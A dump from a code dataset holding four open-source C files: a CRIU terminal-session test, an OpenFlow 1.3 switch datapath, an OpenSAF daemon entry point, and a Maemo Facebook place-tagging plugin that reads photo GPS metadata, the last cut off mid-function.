code
stringlengths
6
250k
repo_name
stringlengths
5
70
path
stringlengths
3
177
language
stringclasses
1 value
license
stringclasses
15 values
size
int64
6
250k
#define _XOPEN_SOURCE #include <stdlib.h> #include "zdtmtst.h" #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <sys/wait.h> #include <termios.h> #include <sys/ioctl.h> const char *test_doc = "Check a controlling terminal, if a proper fd belongs to another session leader"; const char *test_author = "Andrey Vagin <avagin@openvz.org>"; int main(int argc, char ** argv) { int fdm, fds, exit_code = 1, status; task_waiter_t t; char *slavename; pid_t sid_b, sid_a, pid; int pfd[2]; test_init(argc, argv); task_waiter_init(&t); if (pipe(pfd) == -1) { pr_perror("pipe"); return 1; } fdm = open("/dev/ptmx", O_RDWR); if (fdm == -1) { pr_perror("Can't open a master pseudoterminal"); return 1; } grantpt(fdm); unlockpt(fdm); slavename = ptsname(fdm); pid = test_fork(); if (pid == 0) { if (setsid() == -1) { pr_perror("setsid"); return 1; } close(pfd[0]); /* set up a controlling terminal */ fds = open(slavename, O_RDWR | O_NOCTTY); if (fds == -1) { pr_perror("Can't open a slave pseudoterminal %s", slavename); return 1; } ioctl(fds, TIOCSCTTY, 1); pid = test_fork(); if (pid == 0) { if (setsid() == -1) { pr_perror("setsid"); return 1; } close(pfd[1]); task_waiter_complete(&t, 1); test_waitsig(); exit(0); } close(fds); close(pfd[1]); task_waiter_wait4(&t, 1); task_waiter_complete(&t, 0); test_waitsig(); kill(pid, SIGTERM); wait(&status); exit(status); } close(pfd[1]); if (read(pfd[0], &sid_a, 1) != 0) { pr_perror("read"); goto out; } if (ioctl(fdm, TIOCGSID, &sid_b) == -1) { pr_perror("The tty is not a controlling"); goto out; } task_waiter_wait4(&t, 0); test_daemon(); test_waitsig(); if (ioctl(fdm, TIOCGSID, &sid_a) == -1) { fail("The tty is not a controlling"); goto out; } if (sid_b != sid_a) { fail("The tty is controlling for someone else"); goto out; } exit_code = 0; out: kill(pid, SIGTERM); wait(&status); if (status == 0 && exit_code == 0) pass(); return exit_code; }
efiop/criu
test/zdtm/static/tty03.c
C
lgpl-2.1
2,090
/* Copyright (c) 2008, 2009 The Board of Trustees of The Leland Stanford * Junior University * * We are making the OpenFlow specification and associated documentation * (Software) available for public use and benefit with the expectation * that others will use, modify and enhance the Software and contribute * those enhancements back to the community. However, since we would * like to make the Software available for broadest use, with as few * restrictions as possible permission is hereby granted, free of * charge, to any person obtaining a copy of this Software to deal in * the Software under the copyrights without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * * The name and trademarks of copyright holder(s) may NOT be used in * advertising or publicity pertaining to the Software or any * derivatives without specific, written prior permission. */ /* The original Stanford code has been modified during the implementation of * the OpenFlow 1.3 userspace switch. * */ #include "datapath.h" #include <assert.h> #include <errno.h> #include <inttypes.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "csum.h" #include "dp_buffers.h" #include "dp_control.h" #include "ofp.h" #include "ofpbuf.h" #include "group_table.h" #include "meter_table.h" #include "oflib/ofl.h" #include "oflib-exp/ofl-exp.h" #include "oflib-exp/ofl-exp-nicira.h" #include "oflib/ofl-messages.h" #include "oflib/ofl-log.h" #include "openflow/openflow.h" #include "openflow/nicira-ext.h" #include "openflow/private-ext.h" #include "openflow/openflow-ext.h" #include "pipeline.h" #include "poll-loop.h" #include "rconn.h" #include "stp.h" #include "vconn.h" #define LOG_MODULE VLM_dp static struct vlog_rate_limit rl = VLOG_RATE_LIMIT_INIT(60, 60); static struct remote *remote_create(struct datapath *dp, struct rconn *rconn, struct rconn *rconn_aux); static void remote_run(struct datapath *, struct remote *); static void remote_rconn_run(struct datapath *, struct remote *, uint8_t); static void remote_wait(struct remote *); static void remote_destroy(struct remote *); #define MFR_DESC "Stanford University, Ericsson Research and CPqD Research" #define HW_DESC "OpenFlow 1.3 Reference Userspace Switch" #define SW_DESC __DATE__" "__TIME__ #define DP_DESC "OpenFlow 1.3 Reference Userspace Switch Datapath" #define SERIAL_NUM "1" #define MAIN_CONNECTION 0 #define PTIN_CONNECTION 1 /* Callbacks for processing experimenter messages in OFLib. */ static struct ofl_exp_msg dp_exp_msg = {.pack = ofl_exp_msg_pack, .unpack = ofl_exp_msg_unpack, .free = ofl_exp_msg_free, .to_string = ofl_exp_msg_to_string}; static struct ofl_exp dp_exp = {.act = NULL, .inst = NULL, .match = NULL, .stats = NULL, .msg = &dp_exp_msg}; /* Generates and returns a random datapath id. */ static uint64_t gen_datapath_id(void) { uint8_t ea[ETH_ADDR_LEN]; eth_addr_random(ea); return eth_addr_to_uint64(ea); } struct datapath * dp_new(void) { struct datapath *dp; dp = xmalloc(sizeof(struct datapath)); dp->mfr_desc = strncpy(xmalloc(DESC_STR_LEN), MFR_DESC, DESC_STR_LEN); dp->mfr_desc[DESC_STR_LEN-1] = 0x00; dp->hw_desc = strncpy(xmalloc(DESC_STR_LEN), HW_DESC, DESC_STR_LEN); dp->hw_desc[DESC_STR_LEN-1] = 0x00; dp->sw_desc = strncpy(xmalloc(DESC_STR_LEN), SW_DESC, DESC_STR_LEN); dp->sw_desc[DESC_STR_LEN-1] = 0x00; dp->dp_desc = strncpy(xmalloc(DESC_STR_LEN), DP_DESC, DESC_STR_LEN); dp->dp_desc[DESC_STR_LEN-1] = 0x00; dp->serial_num = strncpy(xmalloc(SERIAL_NUM_LEN), SERIAL_NUM, SERIAL_NUM_LEN); dp->serial_num[SERIAL_NUM_LEN-1] = 0x00; dp->id = gen_datapath_id(); dp->generation_id = -1; dp->last_timeout = time_now(); list_init(&dp->remotes); dp->listeners = NULL; dp->n_listeners = 0; dp->listeners_aux = NULL; dp->n_listeners_aux = 0; memset(dp->ports, 0x00, sizeof (dp->ports)); dp->local_port = NULL; dp->buffers = dp_buffers_create(dp); dp->pipeline = pipeline_create(dp); dp->groups = group_table_create(dp); dp->meters = meter_table_create(dp); list_init(&dp->port_list); dp->ports_num = 0; dp->max_queues = NETDEV_MAX_QUEUES; dp->exp = &dp_exp; dp->config.flags = OFPC_FRAG_NORMAL; dp->config.miss_send_len = OFP_DEFAULT_MISS_SEND_LEN; if(strlen(dp->dp_desc) == 0) { /* just use "$HOSTNAME pid=$$" */ char hostnametmp[DESC_STR_LEN]; gethostname(hostnametmp,sizeof hostnametmp); snprintf(dp->dp_desc, sizeof dp->dp_desc,"%s pid=%u",hostnametmp, getpid()); } /* FIXME: Should not depend on udatapath_as_lib */ #if defined(OF_HW_PLAT) && (defined(UDATAPATH_AS_LIB) || defined(USE_NETDEV)) dp_hw_drv_init(dp); #endif return dp; } void dp_add_pvconn(struct datapath *dp, struct pvconn *pvconn, struct pvconn *pvconn_aux) { dp->listeners = xrealloc(dp->listeners, sizeof *dp->listeners * (dp->n_listeners + 1)); dp->listeners[dp->n_listeners++] = pvconn; dp->listeners_aux = xrealloc(dp->listeners_aux, sizeof *dp->listeners_aux * (dp->n_listeners_aux + 1)); dp->listeners_aux[dp->n_listeners_aux++] = pvconn_aux; } void dp_run(struct datapath *dp) { time_t now = time_now(); struct remote *r, *rn; size_t i; if (now != dp->last_timeout) { dp->last_timeout = now; meter_table_add_tokens(dp->meters); pipeline_timeout(dp->pipeline); } poll_timer_wait(1000); dp_ports_run(dp); /* Talk to remotes. */ LIST_FOR_EACH_SAFE (r, rn, struct remote, node, &dp->remotes) { remote_run(dp, r); } for (i = 0; i < dp->n_listeners; ) { struct pvconn *pvconn = dp->listeners[i]; struct vconn *new_vconn; int retval = pvconn_accept(pvconn, OFP_VERSION, &new_vconn); if (!retval) { struct rconn * rconn_aux = NULL; if (dp->n_listeners_aux && dp->listeners_aux[i] != NULL) { struct pvconn *pvconn_aux = dp->listeners_aux[i]; struct vconn *new_vconn_aux; int retval_aux = pvconn_accept(pvconn_aux, OFP_VERSION, &new_vconn_aux); if (!retval_aux) rconn_aux = rconn_new_from_vconn("passive_aux", new_vconn_aux); } remote_create(dp, rconn_new_from_vconn("passive", new_vconn), rconn_aux); } else if (retval != EAGAIN) { VLOG_WARN_RL(LOG_MODULE, &rl, "accept failed (%s)", strerror(retval)); dp->listeners[i] = dp->listeners[--dp->n_listeners]; if (dp->n_listeners_aux) { dp->listeners_aux[i] = dp->listeners_aux[--dp->n_listeners_aux]; } continue; } i++; } } static void remote_run(struct datapath *dp, struct remote *r) { remote_rconn_run(dp, r, MAIN_CONNECTION); if (!rconn_is_alive(r->rconn)) { remote_destroy(r); return; } if (r->rconn_aux == NULL || !rconn_is_alive(r->rconn_aux)) return; remote_rconn_run(dp, r, PTIN_CONNECTION); } static void remote_rconn_run(struct datapath *dp, struct remote *r, uint8_t conn_id) { struct rconn *rconn; ofl_err error; size_t i; if (conn_id == MAIN_CONNECTION) rconn = r->rconn; else if (conn_id == PTIN_CONNECTION) rconn = r->rconn_aux; rconn_run(rconn); /* Do some remote processing, but cap it at a reasonable amount so that * other processing doesn't starve. */ for (i = 0; i < 50; i++) { if (!r->cb_dump) { struct ofpbuf *buffer; buffer = rconn_recv(rconn); if (buffer == NULL) { break; } else { struct ofl_msg_header *msg; struct sender sender = {.remote = r, .conn_id = conn_id}; error = ofl_msg_unpack(buffer->data, buffer->size, &msg, &(sender.xid), dp->exp); if (!error) { error = handle_control_msg(dp, msg, &sender); if (error) { ofl_msg_free(msg, dp->exp); } } if (error) { struct ofl_msg_error err = {{.type = OFPT_ERROR}, .type = ofl_error_type(error), .code = ofl_error_code(error), .data_length = buffer->size, .data = buffer->data}; dp_send_message(dp, (struct ofl_msg_header *)&err, &sender); } ofpbuf_delete(buffer); } } else { if (r->n_txq < TXQ_LIMIT) { int error = r->cb_dump(dp, r->cb_aux); if (error <= 0) { if (error) { VLOG_WARN_RL(LOG_MODULE, &rl, "Callback error: %s.", strerror(-error)); } r->cb_done(r->cb_aux); r->cb_dump = NULL; } } else { break; } } } } static void remote_wait(struct remote *r) { rconn_run_wait(r->rconn); rconn_recv_wait(r->rconn); if (r->rconn_aux) { rconn_run_wait(r->rconn_aux); rconn_recv_wait(r->rconn_aux); } } static void remote_destroy(struct remote *r) { if (r) { if (r->cb_dump && r->cb_done) { r->cb_done(r->cb_aux); } list_remove(&r->node); if (r->rconn_aux != NULL) { rconn_destroy(r->rconn_aux); } rconn_destroy(r->rconn); free(r); } } static struct remote * remote_create(struct datapath *dp, struct rconn *rconn, struct rconn *rconn_aux) { size_t i; struct remote *remote = xmalloc(sizeof *remote); list_push_back(&dp->remotes, &remote->node); remote->rconn = rconn; remote->rconn_aux = rconn_aux; remote->cb_dump = NULL; remote->n_txq = 0; remote->role = OFPCR_ROLE_EQUAL; /* Set the remote configuration to receive any asynchronous message*/ for(i = 0; i < 2; i++){ memset(&remote->config.packet_in_mask[i], 0x7, sizeof(uint32_t)); memset(&remote->config.port_status_mask[i], 0x7, sizeof(uint32_t)); memset(&remote->config.flow_removed_mask[i], 0x1f, sizeof(uint32_t)); } return remote; } void dp_wait(struct datapath *dp) { struct sw_port *p; struct remote *r; size_t i; LIST_FOR_EACH (p, struct sw_port, node, &dp->port_list) { if (IS_HW_PORT(p)) { continue; } netdev_recv_wait(p->netdev); } LIST_FOR_EACH (r, struct remote, node, &dp->remotes) { remote_wait(r); } for (i = 0; i < dp->n_listeners; i++) { pvconn_wait(dp->listeners[i]); } } void dp_set_dpid(struct datapath *dp, uint64_t dpid) { dp->id = dpid; } void dp_set_mfr_desc(struct datapath *dp, char *mfr_desc) { strncpy(dp->mfr_desc, mfr_desc, DESC_STR_LEN); dp->mfr_desc[DESC_STR_LEN-1] = 0x00; } void dp_set_hw_desc(struct datapath *dp, char *hw_desc) { strncpy(dp->hw_desc, hw_desc, DESC_STR_LEN); dp->hw_desc[DESC_STR_LEN-1] = 0x00; } void dp_set_sw_desc(struct datapath *dp, char *sw_desc) { strncpy(dp->sw_desc, sw_desc, DESC_STR_LEN); dp->sw_desc[DESC_STR_LEN-1] = 0x00; } void dp_set_dp_desc(struct datapath *dp, char *dp_desc) { strncpy(dp->dp_desc, dp_desc, DESC_STR_LEN); dp->dp_desc[DESC_STR_LEN-1] = 0x00; } void dp_set_serial_num(struct datapath *dp, char *serial_num) { strncpy(dp->serial_num, serial_num, SERIAL_NUM_LEN); dp->serial_num[SERIAL_NUM_LEN-1] = 0x00; } void dp_set_max_queues(struct datapath *dp, uint32_t max_queues) { dp->max_queues = max_queues; } static int send_openflow_buffer_to_remote(struct ofpbuf *buffer, struct remote *remote) { struct rconn* rconn = remote->rconn; int retval; if (buffer->conn_id == PTIN_CONNECTION && remote->rconn != NULL && remote->rconn_aux != NULL && rconn_is_connected(remote->rconn) && rconn_is_connected(remote->rconn_aux)) { rconn = remote->rconn_aux; } retval = rconn_send_with_limit(rconn, buffer, &remote->n_txq, TXQ_LIMIT); if (retval) { VLOG_WARN_RL(LOG_MODULE, &rl, "send to %s failed: %s", rconn_get_name(rconn), strerror(retval)); } return retval; } static int send_openflow_buffer(struct datapath *dp, struct ofpbuf *buffer, const struct sender *sender) { update_openflow_length(buffer); if (sender) { /* Send back to the sender. */ return send_openflow_buffer_to_remote(buffer, sender->remote); } else { /* Broadcast to all remotes. */ struct remote *r, *prev = NULL; uint8_t msg_type; /* Get the type of the message */ memcpy(&msg_type,((char* ) buffer->data) + 1, sizeof(uint8_t)); LIST_FOR_EACH (r, struct remote, node, &dp->remotes) { /* do not send to remotes with slave role apart from port status */ if (r->role == OFPCR_ROLE_EQUAL || r->role == OFPCR_ROLE_MASTER){ /*Check if the message is enabled in the asynchronous configuration*/ switch(msg_type){ case (OFPT_PACKET_IN):{ struct ofp_packet_in *p = (struct ofp_packet_in*)buffer->data; /* Do not send message if the reason is not enabled */ if((p->reason == OFPR_NO_MATCH) && !(r->config.packet_in_mask[0] & 0x1)) continue; if((p->reason == OFPR_ACTION) && !(r->config.packet_in_mask[0] & 0x2)) continue; if((p->reason == OFPR_INVALID_TTL) && !(r->config.packet_in_mask[0] & 0x4)) continue; break; } case (OFPT_PORT_STATUS):{ struct ofp_port_status *p = (struct ofp_port_status*)buffer->data; if((p->reason == OFPPR_ADD) && !(r->config.port_status_mask[0] & 0x1)) continue; if((p->reason == OFPPR_DELETE) && !(r->config.port_status_mask[0] & 0x2)) continue; if((p->reason == OFPPR_MODIFY) && !(r->config.packet_in_mask[0] & 0x4)) continue; } case (OFPT_FLOW_REMOVED):{ struct ofp_flow_removed *p= (struct ofp_flow_removed *)buffer->data; if((p->reason == OFPRR_IDLE_TIMEOUT) && !(r->config.port_status_mask[0] & 0x1)) continue; if((p->reason == OFPRR_HARD_TIMEOUT) && !(r->config.port_status_mask[0] & 0x2)) continue; if((p->reason == OFPRR_DELETE) && !(r->config.packet_in_mask[0] & 0x4)) continue; if((p->reason == OFPRR_GROUP_DELETE) && !(r->config.packet_in_mask[0] & 0x8)) continue; if((p->reason == OFPRR_METER_DELETE) && !(r->config.packet_in_mask[0] & 0x10)) continue; } } } else { /* In this implementation we assume that a controller with role slave can is able to receive only port stats messages */ if (r->role == OFPCR_ROLE_SLAVE && msg_type != OFPT_PORT_STATUS) { continue; } else { struct ofp_port_status *p = (struct ofp_port_status*)buffer->data; if((p->reason == OFPPR_ADD) && !(r->config.port_status_mask[1] & 0x1)) continue; if((p->reason == OFPPR_DELETE) && !(r->config.port_status_mask[1] & 0x2)) continue; if((p->reason == OFPPR_MODIFY) && !(r->config.packet_in_mask[1] & 0x4)) continue; } } if (prev) { send_openflow_buffer_to_remote(ofpbuf_clone(buffer), prev); } prev = r; } if (prev) { send_openflow_buffer_to_remote(buffer, prev); } else { ofpbuf_delete(buffer); } return 0; } } int dp_send_message(struct datapath *dp, struct ofl_msg_header *msg, const struct sender *sender) { struct ofpbuf *ofpbuf; uint8_t *buf; size_t buf_size; int error; if (VLOG_IS_DBG_ENABLED(LOG_MODULE)) { char *msg_str = ofl_msg_to_string(msg, dp->exp); VLOG_DBG_RL(LOG_MODULE, &rl, "sending: %.400s", msg_str); free(msg_str); } error = ofl_msg_pack(msg, sender == NULL ? 0 : sender->xid, &buf, &buf_size, dp->exp); if (error) { VLOG_WARN_RL(LOG_MODULE, &rl, "There was an error packing the message!"); return error; } ofpbuf = ofpbuf_new(0); ofpbuf_use(ofpbuf, buf, buf_size); ofpbuf_put_uninit(ofpbuf, buf_size); /* Choose the connection to send the packet to. 1) By default, we send it to the main connection 2) If there's an associated sender, send the response to the same connection the request came from 3) If it's a packet in, use the auxiliary connection */ ofpbuf->conn_id = MAIN_CONNECTION; if (sender != NULL) ofpbuf->conn_id = sender->conn_id; if (msg->type == OFPT_PACKET_IN) ofpbuf->conn_id = PTIN_CONNECTION; error = send_openflow_buffer(dp, ofpbuf, sender); if (error) { VLOG_WARN_RL(LOG_MODULE, &rl, "There was an error sending the message!"); /* TODO Zoltan: is delete needed? */ ofpbuf_delete(ofpbuf); return error; } return 0; } ofl_err dp_handle_set_desc(struct datapath *dp, struct ofl_exp_openflow_msg_set_dp_desc *msg, const struct sender *sender UNUSED) { dp_set_dp_desc(dp, msg->dp_desc); ofl_msg_free((struct ofl_msg_header *)msg, dp->exp); return 0; } static ofl_err dp_check_generation_id(struct datapath *dp, uint64_t new_gen_id){ if(dp->generation_id >= 0 && ((uint64_t)(new_gen_id - dp->generation_id) < 0) ) return ofl_error(OFPET_ROLE_REQUEST_FAILED, OFPRRFC_STALE); else dp->generation_id = new_gen_id; return 0; } ofl_err dp_handle_role_request(struct datapath *dp, struct ofl_msg_role_request *msg, const struct sender *sender) { uint32_t role = msg->role; uint64_t generation_id = msg->generation_id; switch (msg->role) { case OFPCR_ROLE_NOCHANGE:{ role = sender->remote->role; generation_id = dp->generation_id; break; } case OFPCR_ROLE_EQUAL: { sender->remote->role = OFPCR_ROLE_EQUAL; break; } case OFPCR_ROLE_MASTER: { struct remote *r; int error = dp_check_generation_id(dp,msg->generation_id); if (error) { VLOG_WARN_RL(LOG_MODULE, &rl, "Role message generation id is smaller than the current id!"); return error; } /* Old master(s) must be changed to slave(s) */ LIST_FOR_EACH (r, struct remote, node, &dp->remotes) { if (r->role == OFPCR_ROLE_MASTER) { r->role = OFPCR_ROLE_SLAVE; } } sender->remote->role = OFPCR_ROLE_MASTER; break; } case OFPCR_ROLE_SLAVE: { int error = dp_check_generation_id(dp,msg->generation_id); if (error) { VLOG_WARN_RL(LOG_MODULE, &rl, "Role message generation id is smaller than the current id!"); return error; } sender->remote->role = OFPCR_ROLE_SLAVE; break; } default: { VLOG_WARN_RL(LOG_MODULE, &rl, "Role request with unknown role (%u).", msg->role); return ofl_error(OFPET_ROLE_REQUEST_FAILED, OFPRRFC_BAD_ROLE); } } { struct ofl_msg_role_request reply = {{.type = OFPT_ROLE_REPLY}, .role = role, .generation_id = generation_id}; dp_send_message(dp, (struct ofl_msg_header *)&reply, sender); } return 0; } ofl_err dp_handle_async_request(struct datapath *dp, struct ofl_msg_async_config *msg, const struct sender *sender) { uint16_t async_type = msg->header.type; switch(async_type){ case (OFPT_GET_ASYNC_REQUEST):{ struct ofl_msg_async_config reply = {{.type = OFPT_GET_ASYNC_REPLY}, .config = &sender->remote->config}; dp_send_message(dp, (struct ofl_msg_header *)&reply, sender); ofl_msg_free((struct ofl_msg_header*)msg, dp->exp); break; } case (OFPT_SET_ASYNC):{ memcpy(&sender->remote->config, msg->config, sizeof(struct ofl_async_config)); break; } } return 0; }
MeshSr/ofs-sw
udatapath/datapath.c
C
lgpl-2.1
22,571
/* -*- OpenSAF -*- * * (C) Copyright 2010 The OpenSAF Foundation * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY * or FITNESS FOR A PARTICULAR PURPOSE. This file and program are licensed * under the GNU Lesser General Public License Version 2.1, February 1999. * The complete license can be accessed from the following location: * http://opensource.org/licenses/lgpl-license.php * See the Copying file included with the OpenSAF distribution for full * licensing terms. * * Author(s): Wind River Systems * */ #include <ncssysf_tsk.h> #include <logtrace.h> #include <daemon.h> #include "cpd.h" static int __init_cpd(void) { NCS_LIB_REQ_INFO lib_create; /* Init LIB_CREATE request for Server */ memset(&lib_create, 0, sizeof(lib_create)); lib_create.i_op = NCS_LIB_REQ_CREATE; lib_create.info.create.argc = 0; lib_create.info.create.argv = NULL; if (ncs_agents_startup() != NCSCC_RC_SUCCESS) return m_LEAP_DBG_SINK(NCSCC_RC_FAILURE); /* Init CPD */ m_NCS_DBG_PRINTF("\nCPSV:CPD:ON"); if (cpd_lib_req(&lib_create) != NCSCC_RC_SUCCESS) { fprintf(stderr, "cpd_lib_req FAILED\n"); return m_LEAP_DBG_SINK(NCSCC_RC_FAILURE); } return (NCSCC_RC_SUCCESS); } int main(int argc, char *argv[]) { daemonize(argc, argv); if (__init_cpd() != NCSCC_RC_SUCCESS) { syslog(LOG_ERR, "__init_dts() failed"); exit(EXIT_FAILURE); } while (1) { m_NCS_TASK_SLEEP(0xfffffff0); } exit(1); }
kenzaburo/OpenSaf-FrameWork
osaf/services/saf/cpsv/cpd/cpd_main.c
C
lgpl-2.1
1,526
#include <hildon/hildon.h> #include <exempi/xmp.h> #include <json-glib/json-glib.h> #include <libintl.h> #include <sharing-tag.h> #include <locale.h> #include <math.h> #include <string.h> #include <gst/gst.h> #include "places.h" #define SCHEMA_IPTC "http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/" #define SCHEMA_EXIF "http://ns.adobe.com/exif/1.0/" #define SCHEMA_TIFF "http://ns.adobe.com/tiff/1.0/" struct _FacebookSelectPlace { const gchar *file; GSList *places; gboolean thread_active; gint orientation; gint selected; gboolean is_video; }; typedef struct _FacebookSelectPlace FacebookSelectPlace; struct _FacebookSearchData { gchar *location; gdouble latitude; gdouble longitude; }; typedef struct _FacebookSearchData FacebookSearchData; /* * Seems like Nokia use dd,mm.mm format to encode GPS coordinates, at least on * N900 and N950. */ static inline gdouble convert2deg_dm(const gchar *d, const gchar *m, const gchar *mm) { return (gdouble)atoi(d) + ((gdouble)atoi(m)) / 60.0 + ((gdouble)atoi(mm)) / (60.0 * pow(10, strlen(mm))); } static gdouble deg2dec(const gchar *s, gboolean *ok) { gchar **v = g_strsplit_set(s, ",.", 3); gdouble rv = 0; if(v[0] && v[1] && v[2]) { gchar *ref = &v[2][strlen(v[2]) - 1]; switch (*ref) { case 'E': case 'N': *ref = '\0'; rv = convert2deg_dm(v[0], v[1], v[2]); *ok = TRUE; break; case 'S': case 'W': *ref = '\0'; rv = 0.0 - convert2deg_dm(v[0], v[1], v[2]); *ok = TRUE; break; default: *ok = FALSE; } } else *ok = FALSE; g_strfreev(v); return rv; } static int select_place_thread(FacebookSelectPlace *select) { GtkWidget *selector, *dialog, *image = NULL, *picker, *align; GdkPixbuf *pixbuf, *newpixbuf; gint i; gchar *s; gdk_threads_enter(); selector = hildon_touch_selector_new_text(); hildon_touch_selector_set_column_selection_mode( HILDON_TOUCH_SELECTOR(selector), HILDON_TOUCH_SELECTOR_SELECTION_MODE_SINGLE); for (i = 0; i < g_slist_length(select->places); i ++) { hildon_touch_selector_append_text(HILDON_TOUCH_SELECTOR(selector), g_slist_nth_data(select->places, i)); } s = g_strdup_printf("%s Facebook %s", dgettext("osso-connectivity-ui", "conn_bd_dialog_ok"), dgettext("gtk20","Location")); dialog = gtk_dialog_new_with_buttons(s, NULL, GTK_DIALOG_NO_SEPARATOR | GTK_DIALOG_DESTROY_WITH_PARENT | GTK_DIALOG_MODAL, dgettext("hildon-libs", "wdgt_bd_done"), GTK_RESPONSE_OK, NULL); g_free(s); picker = hildon_picker_button_new(HILDON_SIZE_FINGER_HEIGHT, HILDON_BUTTON_ARRANGEMENT_VERTICAL); hildon_picker_button_set_selector(HILDON_PICKER_BUTTON(picker), HILDON_TOUCH_SELECTOR(selector)); hildon_button_set_title(HILDON_BUTTON(picker), dgettext("gtk20","Location")); hildon_picker_button_set_active(HILDON_PICKER_BUTTON(picker), 0); hildon_button_set_alignment(HILDON_BUTTON(picker), 0.0, 0.5, 1.0, 0.0); align = gtk_alignment_new(0, 0, 0, 0); gtk_alignment_set_padding(GTK_ALIGNMENT(align), 8, 8, 8, 8); if (!select->is_video) { pixbuf = gdk_pixbuf_new_from_file_at_scale(select->file, 128, 128, TRUE, NULL); if (pixbuf) { /* * FIXME - we may need to flip as well, unfortunately I have no images * to test with, so better leave it that way. */ newpixbuf = gdk_pixbuf_rotate_simple(pixbuf, 360 - (select->orientation % 4 - 1) * 90); g_object_unref(pixbuf); pixbuf = newpixbuf; } } else { pixbuf = gtk_icon_theme_load_icon(gtk_icon_theme_get_default (), "video-x-generic", 128, GTK_ICON_LOOKUP_FORCE_SIZE, NULL); } if (pixbuf) { image = gtk_image_new_from_pixbuf(pixbuf); g_object_unref(pixbuf); } if (image) gtk_container_add(GTK_CONTAINER(align), image); gtk_box_pack_start(GTK_BOX(GTK_DIALOG(dialog)->vbox), align, TRUE, TRUE, 0); gtk_box_pack_start(GTK_BOX(GTK_DIALOG(dialog)->vbox), picker, TRUE, TRUE, 0); gtk_widget_show_all(dialog); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { select->selected = hildon_picker_button_get_active(HILDON_PICKER_BUTTON(picker)); } gtk_widget_destroy (GTK_WIDGET(dialog)); gdk_threads_leave(); select->thread_active = FALSE; return FALSE; } static gint select_place_id(const gchar *file, GSList *places, gint orientation, gboolean is_video) { FacebookSelectPlace select; DEBUG_LOG(__func__); select.thread_active = TRUE; select.file = file; select.selected = -1; select.places = places; select.orientation = orientation; select.is_video = is_video; g_thread_create_full((GThreadFunc)select_place_thread, &select, 0, FALSE, FALSE, G_THREAD_PRIORITY_NORMAL, NULL); while (select.thread_active) { while (g_main_context_pending(NULL)) g_main_context_iteration(NULL, TRUE); } return select.selected; } static gchar * get_place_id(facebook_graph_request *request, const gchar *access_token, const gchar *path, ConIcConnection *con, const FacebookSearchData *data, gboolean is_video, gint orientation) { gchar *rv = NULL; DEBUG_LOG(__func__); if (data->location && data->latitude != NAN && data->longitude != NAN) { GString *url; int http_result; GArray *response = g_array_new(1, 1, 1); facebook_graph_request_reset(request); g_hash_table_insert(request->query_params, "q", g_strdup(data->location)); g_hash_table_insert(request->query_params, "type", g_strdup("place")); { locale_t loc = newlocale(LC_NUMERIC_MASK, "C", (locale_t)0); locale_t old = uselocale(loc); g_hash_table_insert(request->query_params, "center", g_strdup_printf("%f,%f", data->latitude, data->longitude)); uselocale(old); freelocale(loc); } g_hash_table_insert(request->query_params, "distance", g_strdup("50000")); g_hash_table_insert(request->query_params, "fields", g_strdup("id,name")); g_hash_table_insert(request->query_params, "limit", g_strdup("128")); /* why not? */ g_hash_table_insert(request->query_params, "access_token", g_strdup(access_token)); url = g_string_new("https://graph.facebook.com/search"); http_result = network_utils_get(url, response, NULL, request->query_params, con, NULL); g_string_free(url, FALSE); if (http_result == 200) { JsonParser *parser = json_parser_new(); if (json_parser_load_from_data(parser, response->data, response->len, NULL)) { JsonNode *root = json_parser_get_root(parser); JsonObject *object; if (root && JSON_NODE_HOLDS_OBJECT(root) && (object = json_node_get_object(root)) && json_object_has_member(object, "data")) { JsonArray *data = json_object_get_array_member(object, "data"); guint len = json_array_get_length(data); gint i; GSList *l = NULL; for (i = 0; i < len; i ++) { object = json_array_get_object_element(data, i); if (object) l = g_slist_append( l, (gpointer)json_object_get_string_member(object, "name")); } i = select_place_id(path, l, orientation, is_video); g_slist_free(l); if (i >= 0) { rv = (gchar *)json_object_get_string_member( json_array_get_object_element(data, i), "id"); } if (rv) rv = g_strdup(rv); } g_object_unref(parser); } } g_array_free(response, TRUE); } return rv; } static gchar * get_photo_place_id(const SharingEntryMedia *entry, facebook_graph_request *request, const gchar *access_token, const gchar *path, ConIcConnection *con) { XmpPtr xmp; XmpFilePtr fp; FacebookSearchData data = {NULL, NAN, NAN}; guint orientation = 1; gchar *rv; gboolean ok; DEBUG_LOG(__func__); xmp_init(); if (!(xmp = xmp_new_empty())) return NULL; if (!(fp = xmp_files_open_new(path, (XmpOpenFileOptions)(XMP_OPEN_READ | XMP_OPEN_ONLYXMP)))) { xmp_free(xmp); return NULL; } if (xmp_files_get_xmp(fp, xmp)) { XmpStringPtr value = xmp_string_new(); if (xmp_get_property(xmp, SCHEMA_IPTC, "Iptc4xmpCore:location", value, NULL) || xmp_get_property(xmp, SCHEMA_IPTC, "Iptc4xmpCore:Location", value, NULL)) data.location = g_strdup(xmp_string_cstr(value)); if (xmp_get_property(xmp, SCHEMA_EXIF, "exif:GPSLatitude", value, NULL)) { data.latitude = deg2dec(g_strdup(xmp_string_cstr(value)), &ok); if (!ok) goto error; } if (xmp_get_property(xmp, SCHEMA_EXIF, "exif:GPSLongitude", value, NULL)) { data.longitude = deg2dec(g_strdup(xmp_string_cstr(value)), &ok); if (!ok) goto error; } if (xmp_get_property(xmp, SCHEMA_TIFF, "tiff:Orientation", value, NULL)) orientation = atoi(xmp_string_cstr(value)); error: xmp_string_free(value); } rv = get_place_id(request, access_token, path, con, &data, 